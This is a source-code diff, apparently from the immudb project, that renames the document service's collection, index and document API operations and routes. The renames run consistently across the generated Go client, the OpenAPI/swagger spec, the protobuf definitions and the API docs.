@@ func ParseDocumentSearchResponse(rsp *http.Response) (*DocumentSearchResponse, e return response, nil } -// ParseDocumentUpdateResponse parses an HTTP response from a DocumentUpdateWithResponse call -func ParseDocumentUpdateResponse(rsp *http.Response) (*DocumentUpdateResponse, error) { +// ParseUpdateDocumentResponse parses an HTTP response from a UpdateDocumentWithResponse call +func ParseUpdateDocumentResponse(rsp *http.Response) (*UpdateDocumentResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &DocumentUpdateResponse{ + response := &UpdateDocumentResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelDocumentUpdateResponse + var dest ModelUpdateDocumentResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -3071,22 +2831,22 @@ func ParseDocumentUpdateResponse(rsp *http.Response) (*DocumentUpdateResponse, e return response, nil } -// ParseIndexCreateResponse parses an HTTP response from a IndexCreateWithResponse call -func ParseIndexCreateResponse(rsp *http.Response) (*IndexCreateResponse, error) { +// ParseCreateIndexResponse parses an HTTP response from a CreateIndexWithResponse call +func ParseCreateIndexResponse(rsp *http.Response) (*CreateIndexResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &IndexCreateResponse{ + response := &CreateIndexResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelIndexCreateResponse + var dest ModelCreateIndexResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } @@ -3104,22 +2864,22 @@ func ParseIndexCreateResponse(rsp *http.Response) (*IndexCreateResponse, error) return response, nil } -// ParseIndexDeleteResponse parses an HTTP response from a IndexDeleteWithResponse call -func ParseIndexDeleteResponse(rsp *http.Response) (*IndexDeleteResponse, error) { +// ParseDeleteIndexResponse parses an HTTP response from a DeleteIndexWithResponse call +func ParseDeleteIndexResponse(rsp *http.Response) (*DeleteIndexResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) defer func() { _ = rsp.Body.Close() }() if err != nil { return nil, err } - response := &IndexDeleteResponse{ + response := &DeleteIndexResponse{ Body: bodyBytes, HTTPResponse: rsp, } switch { case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: - var dest ModelIndexDeleteResponse + var dest ModelDeleteIndexResponse if err := json.Unmarshal(bodyBytes, &dest); err != nil { return nil, err } diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 7cbc4ffaad..d67a0187b0 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -110,14 +110,14 @@ "security": [] } }, - "/collections/create": { - "put": { - "operationId": "CollectionCreate", + "/collections": { + "get": { + "operationId": "GetCollections", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelCollectionCreateResponse" + "$ref": "#/definitions/modelGetCollectionsResponse" } }, "default": { @@ -127,29 +127,17 @@ } } }, - "parameters": [ - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/modelCollectionCreateRequest" - } - } - ], "tags": [ "collections" ] - } - }, - "/collections/delete": { - "delete": { - "operationId": "CollectionDelete", + }, + "put": { + "operationId": "CreateCollection", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelCollectionDeleteResponse" + "$ref": "#/definitions/modelCreateCollectionResponse" } }, "default": { @@ -161,55 +149,27 @@ }, "parameters": [ { - "name": "name", - "in": "query", - "required": false, - "type": "string" - } - ], - "tags": [ - "collections" - ] - } - }, - "/collections/get": { - "get": { - "operationId": "CollectionGet", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/modelCollectionGetResponse" - } - }, - "default": { - "description": "An unexpected error response.", + "name": "body", + "in": "body", + "required": true, "schema": { - "$ref": "#/definitions/runtimeError" + "$ref": "#/definitions/modelCreateCollectionRequest" } } - }, - "parameters": [ - { - "name": "name", - "in": "query", - "required": false, - "type": "string" - } ], "tags": [ "collections" ] } }, - "/collections/list": { - "post": { - "operationId": "CollectionList", + "/collections/update": { + "put": { + "operationId": "UpdateCollection", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelCollectionListResponse" + "$ref": "#/definitions/modelUpdateCollectionResponse" } }, "default": { @@ -225,7 +185,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/modelCollectionListRequest" + "$ref": "#/definitions/modelUpdateCollectionRequest" } } ], @@ -234,14 +194,14 @@ ] } }, - "/collections/update": { - "put": { - "operationId": "CollectionUpdate", + "/collections/{name}": { + "get": { + "operationId": "GetCollection", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelCollectionUpdateResponse" + "$ref": "#/definitions/modelGetCollectionResponse" } }, "default": { @@ -253,27 +213,23 @@ }, "parameters": [ { - "name": "body", - "in": "body", + "name": "name", + "in": "path", "required": true, - "schema": { - "$ref": "#/definitions/modelCollectionUpdateRequest" - } + "type": "string" } ], "tags": [ "collections" ] - } - }, - "/documents/audit": { - "post": { - "operationId": "DocumentAudit", + }, + "delete": { + "operationId": "DeleteCollection", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelDocumentAuditResponse" + "$ref": "#/definitions/modelDeleteCollectionResponse" } }, "default": { @@ -285,27 +241,25 @@ }, "parameters": [ { - "name": "body", - "in": "body", + "name": "name", + "in": "path", "required": true, - "schema": { - "$ref": "#/definitions/modelDocumentAuditRequest" - } + "type": "string" } ], "tags": [ - "documents" + "collections" ] } }, - "/documents/delete": { + "/documents": { "put": { - "operationId": "DocumentDelete", + "operationId": "InsertDocuments", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelDocumentDeleteResponse" + "$ref": "#/definitions/modelInsertDocumentsResponse" } }, "default": { @@ -321,7 +275,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/modelDocumentDeleteRequest" + "$ref": "#/definitions/modelInsertDocumentsRequest" } } ], @@ -330,14 +284,14 @@ ] } }, - "/documents/insert": { - "put": { - "operationId": "DocumentInsert", + "/documents/audit": { + "post": { + "operationId": "AuditDocument", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelDocumentInsertResponse" + "$ref": "#/definitions/modelAuditDocumentResponse" } }, "default": { @@ -353,7 +307,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/modelDocumentInsertRequest" + "$ref": "#/definitions/modelAuditDocumentRequest" } } ], @@ -362,14 +316,14 @@ ] } }, - "/documents/insertmany": { - "put": { - "operationId": "DocumentInsertMany", + "/documents/delete": { + "post": { + "operationId": "DeleteDocuments", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelDocumentInsertManyResponse" + "$ref": "#/definitions/modelDeleteDocumentsResponse" } }, "default": { @@ -385,7 +339,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/modelDocumentInsertManyRequest" + "$ref": "#/definitions/modelDeleteDocumentsRequest" } } ], @@ -394,14 +348,14 @@ ] } }, - "/documents/proof": { + "/documents/prove": { "post": { - "operationId": "DocumentProof", + "operationId": "ProveDocument", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelDocumentProofResponse" + "$ref": "#/definitions/modelProveDocumentResponse" } }, "default": { @@ -417,7 +371,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/modelDocumentProofRequest" + "$ref": "#/definitions/modelProveDocumentRequest" } } ], @@ -428,12 +382,12 @@ }, "/documents/search": { "post": { - "operationId": "DocumentSearch", + "operationId": "SearchDocuments", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelDocumentSearchResponse" + "$ref": "#/definitions/modelSearchDocumentsResponse" } }, "default": { @@ -449,7 +403,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/modelDocumentSearchRequest" + "$ref": "#/definitions/modelSearchDocumentsRequest" } } ], @@ -459,13 +413,13 @@ } }, "/documents/update": { - "post": { - "operationId": "DocumentUpdate", + "put": { + "operationId": "UpdateDocument", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelDocumentUpdateResponse" + "$ref": "#/definitions/modelUpdateDocumentResponse" } }, "default": { @@ -481,7 +435,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/modelDocumentUpdateRequest" + "$ref": "#/definitions/modelUpdateDocumentRequest" } } ], @@ -490,14 +444,14 @@ ] } }, - "/indexes/create": { + "/index": { "put": { - "operationId": "IndexCreate", + "operationId": "CreateIndex", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelIndexCreateResponse" + "$ref": "#/definitions/modelCreateIndexResponse" } }, "default": { @@ -513,23 +467,23 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/modelIndexCreateRequest" + "$ref": "#/definitions/modelCreateIndexRequest" } } ], "tags": [ - "indexes" + "index" ] } }, - "/indexes/delete": { - "put": { - "operationId": "IndexDelete", + "/index/delete": { + "post": { + "operationId": "DeleteIndex", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/modelIndexDeleteResponse" + "$ref": "#/definitions/modelDeleteIndexResponse" } }, "default": { @@ -545,12 +499,12 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/modelIndexDeleteRequest" + "$ref": "#/definitions/modelDeleteIndexRequest" } } ], "tags": [ - "indexes" + "index" ] } } @@ -589,6 +543,39 @@ } } }, + "modelAuditDocumentRequest": { + "type": "object", + "properties": { + "collection": { + "type": "string" + }, + "documentId": { + "type": "string" + }, + "desc": { + "type": "boolean" + }, + "page": { + "type": "integer", + "format": "int64" + }, + "pageSize": { + "type": "integer", + "format": "int64" + } + } + }, + "modelAuditDocumentResponse": { + "type": "object", + "properties": { + "revisions": { + "type": "array", + "items": { + "$ref": "#/definitions/modelDocumentAtRevision" + } + } + } + }, "modelCloseSessionRequest": { "type": "object" }, @@ -618,7 +605,21 @@ } } }, - "modelCollectionCreateRequest": { + "modelComparisonOperator": { + "type": "string", + "enum": [ + "EQ", + "NE", + "LT", + "LE", + "GT", + "GE", + "LIKE", + "NOT_LIKE" + ], + "default": "EQ" + }, + "modelCreateCollectionRequest": { "type": "object", "properties": { "name": { @@ -641,62 +642,64 @@ } } }, - "modelCollectionCreateResponse": { - "type": "object" - }, - "modelCollectionDeleteResponse": { + "modelCreateCollectionResponse": { "type": "object" }, - "modelCollectionGetResponse": { + "modelCreateIndexRequest": { "type": "object", "properties": { "collection": { - "$ref": "#/definitions/modelCollection" + "type": "string" + }, + "fields": { + "type": "array", + "items": { + "type": "string" + } + }, + "isUnique": { + "type": "boolean" } } }, - "modelCollectionListRequest": { + "modelCreateIndexResponse": { + "type": "object" + }, + "modelDeleteCollectionResponse": { "type": "object" }, - "modelCollectionListResponse": { + "modelDeleteDocumentsRequest": { "type": "object", "properties": { - "collections": { - "type": "array", - "items": { - "$ref": "#/definitions/modelCollection" - } + "query": { + "$ref": "#/definitions/modelQuery" + }, + "limit": { + "type": "integer", + "format": "int64" } } }, - "modelCollectionUpdateRequest": { + "modelDeleteDocumentsResponse": { + "type": "object" + }, + "modelDeleteIndexRequest": { "type": "object", "properties": { - "name": { + "collection": { "type": "string" }, - "idFieldName": { - "type": "string" + "fields": { + "type": "array", + "items": { + "type": "string" + } } } }, - "modelCollectionUpdateResponse": { + "modelDeleteIndexResponse": { "type": "object" }, - "modelComparisonOperator": { - "type": "string", - "enum": [ - "EQ", - "NE", - "LT", - "LE", - "GT", - "GE", - "LIKE", - "NOT_LIKE" - ], - "default": "EQ" - }, "modelDocumentAtRevision": { "type": "object", "properties": { @@ -716,51 +719,81 @@ } } }, - "modelDocumentAuditRequest": { + "modelDocumentMetadata": { "type": "object", "properties": { - "collection": { + "deleted": { + "type": "boolean" + } + } + }, + "modelField": { + "type": "object", + "properties": { + "name": { "type": "string" }, - "documentId": { + "type": { + "$ref": "#/definitions/modelFieldType" + } + } + }, + "modelFieldComparison": { + "type": "object", + "properties": { + "field": { "type": "string" }, - "desc": { - "type": "boolean" - }, - "page": { - "type": "integer", - "format": "int64" + "operator": { + "$ref": "#/definitions/modelComparisonOperator" }, - "pageSize": { - "type": "integer", - "format": "int64" + "value": {} + } + }, + "modelFieldType": { + "type": "string", + "enum": [ + "STRING", + "BOOLEAN", + "INTEGER", + "DOUBLE" + ], + "default": "STRING" + }, + "modelGetCollectionResponse": { + "type": "object", + "properties": { + "collection": { + "$ref": "#/definitions/modelCollection" } } }, - "modelDocumentAuditResponse": { + "modelGetCollectionsResponse": { "type": "object", "properties": { - "revisions": { + "collections": { "type": "array", "items": { - "$ref": "#/definitions/modelDocumentAtRevision" + "$ref": "#/definitions/modelCollection" } } } }, - "modelDocumentDeleteRequest": { + "modelIndex": { "type": "object", "properties": { - "query": { - "$ref": "#/definitions/modelQuery" + "fields": { + "type": "array", + "items": { + "type": "string" + } + }, + "isUnique": { + "type": "boolean" } } }, - "modelDocumentDeleteResponse": { - "type": "object" - }, - "modelDocumentInsertManyRequest": { + "modelInsertDocumentsRequest": { "type": "object", "properties": { "collection": { @@ -774,7 +807,7 @@ } } }, - "modelDocumentInsertManyResponse": { + "modelInsertDocumentsResponse": { "type": "object", "properties": { "transactionId": { @@ -789,38 +822,24 @@ } } }, - "modelDocumentInsertRequest": { - "type": "object", - "properties": { - "collection": { - "type": "string" - }, - "document": { - "type": "object" - } - } + "modelKeepAliveRequest": { + "type": "object" }, - "modelDocumentInsertResponse": { - "type": "object", - "properties": { - "transactionId": { - "type": "string", - "format": "uint64" - }, - "documentId": { - "type": "string" - } - } + "modelKeepAliveResponse": { + "type": "object" }, - "modelDocumentMetadata": { + "modelOrderByClause": { "type": "object", "properties": { - "deleted": { + "field": { + "type": "string" + }, + "desc": { "type": "boolean" } } }, - "modelDocumentProofRequest": { + "modelProveDocumentRequest": { "type": "object", "properties": { "collection": { @@ -839,7 +858,7 @@ } } }, - "modelDocumentProofResponse": { + "modelProveDocumentResponse": { "type": "object", "properties": { "database": { @@ -861,195 +880,108 @@ } } }, - "modelDocumentSearchRequest": { + "modelQuery": { "type": "object", "properties": { - "searchId": { + "collection": { "type": "string" }, - "query": { - "$ref": "#/definitions/modelQuery" - }, - "page": { - "type": "integer", - "format": "int64" + "expressions": { + "type": "array", + "items": { + "$ref": "#/definitions/modelQueryExpression" + } }, - "pageSize": { - "type": "integer", - "format": "int64" + "orderBy": { + "type": "array", + "items": { + "$ref": "#/definitions/modelOrderByClause" + } } } }, - "modelDocumentSearchResponse": { + "modelQueryExpression": { "type": "object", "properties": { - "searchId": { - "type": "string" - }, - "revisions": { + "fieldComparisons": { "type": "array", "items": { - "$ref": "#/definitions/modelDocumentAtRevision" + "$ref": "#/definitions/modelFieldComparison" } } } }, - "modelDocumentUpdateRequest": { + "modelSearchDocumentsRequest": { "type": "object", "properties": { + "searchId": { + "type": "string" + }, "query": { "$ref": "#/definitions/modelQuery" }, - "document": { - "type": "object" - } - } - }, - "modelDocumentUpdateResponse": { - "type": "object", - "properties": { - "transactionId": { - "type": "string", - "format": "uint64" - }, - "documentId": { - "type": "string" - }, - "revision": { - "type": "string", - "format": "uint64" - } - } - }, - "modelField": { - "type": "object", - "properties": { - "name": { - "type": "string" + "page": { + "type": "integer", + "format": "int64" }, - "type": { - "$ref": "#/definitions/modelFieldType" + "pageSize": { + "type": "integer", + "format": "int64" } } }, - "modelFieldComparison": { + "modelSearchDocumentsResponse": { "type": "object", "properties": { - "field": { + "searchId": { "type": "string" }, - "operator": { - "$ref": "#/definitions/modelComparisonOperator" - }, - "value": {} - } - }, - "modelFieldType": { - "type": "string", - "enum": [ - "STRING", - "BOOLEAN", - "INTEGER", - "DOUBLE" - ], - "default": "STRING" - }, - "modelIndex": { - "type": "object", - "properties": { - "fields": { + "revisions": { "type": "array", "items": { - "type": "string" + "$ref": "#/definitions/modelDocumentAtRevision" } - }, - "isUnique": { - "type": "boolean" } } }, - "modelIndexCreateRequest": { + "modelUpdateCollectionRequest": { "type": "object", "properties": { - "collection": { + "name": { "type": "string" }, - "fields": { - "type": "array", - "items": { - "type": "string" - } - }, - "isUnique": { - "type": "boolean" - } - } - }, - "modelIndexCreateResponse": { - "type": "object" - }, - "modelIndexDeleteRequest": { - "type": "object", - "properties": { - "collection": { + "idFieldName": { "type": "string" - }, - "fields": { - "type": "array", - "items": { - "type": "string" - } } } }, - "modelIndexDeleteResponse": { + "modelUpdateCollectionResponse": { "type": "object" }, - "modelKeepAliveRequest": { - "type": "object" - }, - "modelKeepAliveResponse": { - "type": "object" - }, - "modelOrderByClause": { + "modelUpdateDocumentRequest": { "type": "object", "properties": { - "field": { - "type": "string" + "query": { + "$ref": "#/definitions/modelQuery" }, - "desc": { - "type": "boolean" + "document": { + "type": "object" } } }, - "modelQuery": { + "modelUpdateDocumentResponse": { "type": "object", "properties": { - "collection": { - "type": "string" + "transactionId": { + "type": "string", + "format": "uint64" }, - "expressions": { - "type": "array", - "items": { - "$ref": "#/definitions/modelQueryExpression" - } + "documentId": { + "type": "string" }, - "orderBy": { - "type": "array", - "items": { - "$ref": "#/definitions/modelOrderByClause" - } - } - } - }, - "modelQueryExpression": { - "type": "object", - "properties": { - "fieldComparisons": { - "type": "array", - "items": { - "$ref": "#/definitions/modelFieldComparison" - } + "revision": { + "type": "string", + "format": "uint64" } } }, diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index 127ba33873..eacf5c081c 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -48,14 +48,14 @@ option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { } }; -message CollectionCreateRequest { +message CreateCollectionRequest { string name = 1; string idFieldName = 2; repeated Field fields = 3; repeated Index indexes = 4; } -message CollectionCreateResponse {} +message CreateCollectionResponse {} message Field { string name = 1; @@ -74,11 +74,11 @@ message Index { bool isUnique = 2; } -message CollectionGetRequest { +message GetCollectionRequest { string name = 1; } -message CollectionGetResponse { +message GetCollectionResponse { Collection collection = 1; } @@ -89,72 +89,62 @@ message Collection { repeated Index indexes = 4; } -message CollectionListRequest {} +message GetCollectionsRequest {} -message CollectionListResponse { +message GetCollectionsResponse { repeated Collection collections = 1; } -message CollectionDeleteRequest { +message DeleteCollectionRequest { string name = 1; } -message CollectionDeleteResponse {} +message DeleteCollectionResponse {} -message CollectionUpdateRequest { +message UpdateCollectionRequest { string name = 1; string idFieldName = 2; } -message CollectionUpdateResponse {} +message UpdateCollectionResponse {} -message IndexCreateRequest { +message CreateIndexRequest { string collection = 1; repeated string fields = 2; bool isUnique = 3; } -message IndexCreateResponse {} +message CreateIndexResponse {} -message IndexDeleteRequest { +message DeleteIndexRequest { string collection = 1; repeated string fields = 2; } -message IndexDeleteResponse {} +message DeleteIndexResponse {} -message DocumentInsertRequest { - string collection = 1; - google.protobuf.Struct document = 2; -} - -message DocumentInsertResponse { - uint64 transactionId = 1; - string documentId = 2; -} - -message DocumentInsertManyRequest { +message InsertDocumentsRequest { string collection = 1; repeated google.protobuf.Struct documents = 2; } -message DocumentInsertManyResponse { +message InsertDocumentsResponse { uint64 transactionId = 1; repeated string documentIds = 2; } -message DocumentUpdateRequest { +message UpdateDocumentRequest { Query query = 1; google.protobuf.Struct document = 2; } -message DocumentUpdateResponse { +message UpdateDocumentResponse { uint64 transactionId = 1; string documentId = 2; uint64 revision = 3; } -message DocumentSearchRequest { +message SearchDocumentsRequest { string searchId = 1; Query query = 2; uint32 page = 3; @@ -193,7 +183,7 @@ message OrderByClause { bool desc = 2; } -message DocumentSearchResponse { +message SearchDocumentsResponse { string searchId = 1; repeated DocumentAtRevision revisions = 2; } @@ -209,7 +199,7 @@ message DocumentMetadata { bool deleted = 1; } -message DocumentAuditRequest { +message AuditDocumentRequest { string collection = 1; string documentId = 2; bool desc = 3; @@ -217,18 +207,18 @@ message DocumentAuditRequest { uint32 pageSize = 5; } -message DocumentAuditResponse { +message AuditDocumentResponse { repeated DocumentAtRevision revisions = 1; } -message DocumentProofRequest { +message ProveDocumentRequest { string collection = 1; string documentId = 2; uint64 transactionId = 3; uint64 proofSinceTransactionId = 4; } -message DocumentProofResponse { +message ProveDocumentResponse { string database = 1; uint32 collectionId = 2; string idFieldName = 3; @@ -236,16 +226,17 @@ message DocumentProofResponse { schema.VerifiableTxV2 verifiableTx = 5; } -message DocumentDeleteRequest { +message DeleteDocumentsRequest { Query query = 1; + uint32 limit = 2; } -message DocumentDeleteResponse {} +message DeleteDocumentsResponse {} service DocumentService { - rpc CollectionCreate(CollectionCreateRequest) returns (CollectionCreateResponse) { + rpc CreateCollection(CreateCollectionRequest) returns (CreateCollectionResponse) { option (google.api.http) = { - put: "/collections/create" + put: "/collections" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { @@ -253,67 +244,66 @@ service DocumentService { }; } - rpc CollectionGet(CollectionGetRequest) returns (CollectionGetResponse) { + rpc GetCollection(GetCollectionRequest) returns (GetCollectionResponse) { option (google.api.http) = { - get: "/collections/get" + get: "/collections/{name}" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: "collections"; }; } - rpc CollectionList(CollectionListRequest) returns (CollectionListResponse) { + rpc GetCollections(GetCollectionsRequest) returns (GetCollectionsResponse) { option (google.api.http) = { - post: "/collections/list" - body: "*" + get: "/collections" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: "collections"; }; } - rpc CollectionDelete(CollectionDeleteRequest) returns (CollectionDeleteResponse) { + rpc UpdateCollection(UpdateCollectionRequest) returns (UpdateCollectionResponse) { option (google.api.http) = { - delete: "/collections/delete" + put: "/collections/update" + body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: "collections"; }; } - rpc CollectionUpdate(CollectionUpdateRequest) returns (CollectionUpdateResponse) { + rpc DeleteCollection(DeleteCollectionRequest) returns (DeleteCollectionResponse) { option (google.api.http) = { - put: "/collections/update" - body: "*" + delete: "/collections/{name}" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: "collections"; }; } - rpc IndexCreate(IndexCreateRequest) returns (IndexCreateResponse) { + rpc CreateIndex(CreateIndexRequest) returns (CreateIndexResponse) { option (google.api.http) = { - put: "/indexes/create" + put: "/index" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "indexes"; + tags: "index"; }; } - rpc IndexDelete(IndexDeleteRequest) returns (IndexDeleteResponse) { + rpc DeleteIndex(DeleteIndexRequest) returns (DeleteIndexResponse) { option (google.api.http) = { - put: "/indexes/delete" + post: "/index/delete" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "indexes"; + tags: "index"; }; } - rpc DocumentInsert(DocumentInsertRequest) returns (DocumentInsertResponse) { + rpc InsertDocuments(InsertDocumentsRequest) returns (InsertDocumentsResponse) { option (google.api.http) = { - put: "/documents/insert" + put: "/documents" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { @@ -321,19 +311,21 @@ service DocumentService { }; } - rpc DocumentInsertMany(DocumentInsertManyRequest) returns (DocumentInsertManyResponse) { + rpc UpdateDocument(UpdateDocumentRequest) returns (UpdateDocumentResponse) { option (google.api.http) = { - put: "/documents/insertmany" + put: "/documents/update" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "documents"; + tags: [ + "documents" + ]; }; } - rpc DocumentUpdate(DocumentUpdateRequest) returns (DocumentUpdateResponse) { + rpc DeleteDocuments(DeleteDocumentsRequest) returns (DeleteDocumentsResponse) { option (google.api.http) = { - post: "/documents/update" + post: "/documents/delete" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { @@ -343,7 +335,7 @@ service DocumentService { }; } - rpc DocumentSearch(DocumentSearchRequest) returns (DocumentSearchResponse) { + rpc SearchDocuments(SearchDocumentsRequest) returns (SearchDocumentsResponse) { option (google.api.http) = { post: "/documents/search" body: "*" @@ -353,7 +345,7 @@ service DocumentService { }; } - rpc DocumentAudit(DocumentAuditRequest) returns (DocumentAuditResponse) { + rpc AuditDocument(AuditDocumentRequest) returns (AuditDocumentResponse) { option (google.api.http) = { post: "/documents/audit" body: "*" @@ -365,21 +357,9 @@ service DocumentService { }; } - rpc DocumentProof(DocumentProofRequest) returns (DocumentProofResponse) { - option (google.api.http) = { - post: "/documents/proof" - body: "*" - }; - option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: [ - "documents" - ]; - }; - } - - rpc DocumentDelete(DocumentDeleteRequest) returns (DocumentDeleteResponse) { + rpc ProveDocument(ProveDocumentRequest) returns (ProveDocumentResponse) { option (google.api.http) = { - put: "/documents/delete" + post: "/documents/prove" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index 3d93cac855..958efe8e33 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -14,43 +14,41 @@ - [AuthorizationService](#immudb.model.AuthorizationService) - [documents.proto](#documents.proto) + - [AuditDocumentRequest](#immudb.model.AuditDocumentRequest) + - [AuditDocumentResponse](#immudb.model.AuditDocumentResponse) - [Collection](#immudb.model.Collection) - - [CollectionCreateRequest](#immudb.model.CollectionCreateRequest) - - [CollectionCreateResponse](#immudb.model.CollectionCreateResponse) - - [CollectionDeleteRequest](#immudb.model.CollectionDeleteRequest) - - [CollectionDeleteResponse](#immudb.model.CollectionDeleteResponse) - - [CollectionGetRequest](#immudb.model.CollectionGetRequest) - - [CollectionGetResponse](#immudb.model.CollectionGetResponse) - - [CollectionListRequest](#immudb.model.CollectionListRequest) - - [CollectionListResponse](#immudb.model.CollectionListResponse) - - [CollectionUpdateRequest](#immudb.model.CollectionUpdateRequest) - - [CollectionUpdateResponse](#immudb.model.CollectionUpdateResponse) + - [CreateCollectionRequest](#immudb.model.CreateCollectionRequest) + - [CreateCollectionResponse](#immudb.model.CreateCollectionResponse) + - [CreateIndexRequest](#immudb.model.CreateIndexRequest) + - [CreateIndexResponse](#immudb.model.CreateIndexResponse) + - [DeleteCollectionRequest](#immudb.model.DeleteCollectionRequest) + - [DeleteCollectionResponse](#immudb.model.DeleteCollectionResponse) + - [DeleteDocumentsRequest](#immudb.model.DeleteDocumentsRequest) + - [DeleteDocumentsResponse](#immudb.model.DeleteDocumentsResponse) + - [DeleteIndexRequest](#immudb.model.DeleteIndexRequest) + - [DeleteIndexResponse](#immudb.model.DeleteIndexResponse) - [DocumentAtRevision](#immudb.model.DocumentAtRevision) - - [DocumentAuditRequest](#immudb.model.DocumentAuditRequest) - - [DocumentAuditResponse](#immudb.model.DocumentAuditResponse) - - [DocumentDeleteRequest](#immudb.model.DocumentDeleteRequest) - - [DocumentDeleteResponse](#immudb.model.DocumentDeleteResponse) - - [DocumentInsertManyRequest](#immudb.model.DocumentInsertManyRequest) - - [DocumentInsertManyResponse](#immudb.model.DocumentInsertManyResponse) - - [DocumentInsertRequest](#immudb.model.DocumentInsertRequest) - - [DocumentInsertResponse](#immudb.model.DocumentInsertResponse) - [DocumentMetadata](#immudb.model.DocumentMetadata) - - [DocumentProofRequest](#immudb.model.DocumentProofRequest) - - [DocumentProofResponse](#immudb.model.DocumentProofResponse) - - [DocumentSearchRequest](#immudb.model.DocumentSearchRequest) - - [DocumentSearchResponse](#immudb.model.DocumentSearchResponse) - - [DocumentUpdateRequest](#immudb.model.DocumentUpdateRequest) - - [DocumentUpdateResponse](#immudb.model.DocumentUpdateResponse) - [Field](#immudb.model.Field) - [FieldComparison](#immudb.model.FieldComparison) + - [GetCollectionRequest](#immudb.model.GetCollectionRequest) + - [GetCollectionResponse](#immudb.model.GetCollectionResponse) + - [GetCollectionsRequest](#immudb.model.GetCollectionsRequest) + - [GetCollectionsResponse](#immudb.model.GetCollectionsResponse) - [Index](#immudb.model.Index) - - [IndexCreateRequest](#immudb.model.IndexCreateRequest) - - [IndexCreateResponse](#immudb.model.IndexCreateResponse) - - [IndexDeleteRequest](#immudb.model.IndexDeleteRequest) - - [IndexDeleteResponse](#immudb.model.IndexDeleteResponse) + - [InsertDocumentsRequest](#immudb.model.InsertDocumentsRequest) + - [InsertDocumentsResponse](#immudb.model.InsertDocumentsResponse) - [OrderByClause](#immudb.model.OrderByClause) + - [ProveDocumentRequest](#immudb.model.ProveDocumentRequest) + - [ProveDocumentResponse](#immudb.model.ProveDocumentResponse) - [Query](#immudb.model.Query) - [QueryExpression](#immudb.model.QueryExpression) + - [SearchDocumentsRequest](#immudb.model.SearchDocumentsRequest) + - [SearchDocumentsResponse](#immudb.model.SearchDocumentsResponse) + - [UpdateCollectionRequest](#immudb.model.UpdateCollectionRequest) + - [UpdateCollectionResponse](#immudb.model.UpdateCollectionResponse) + - [UpdateDocumentRequest](#immudb.model.UpdateDocumentRequest) + - [UpdateDocumentResponse](#immudb.model.UpdateDocumentResponse) - [ComparisonOperator](#immudb.model.ComparisonOperator) - [FieldType](#immudb.model.FieldType) @@ -171,70 +169,79 @@ - + -### Collection +### AuditDocumentRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| name | [string](#string) | | | -| idFieldName | [string](#string) | | | -| fields | [Field](#immudb.model.Field) | repeated | | -| indexes | [Index](#immudb.model.Index) | repeated | | +| collection | [string](#string) | | | +| 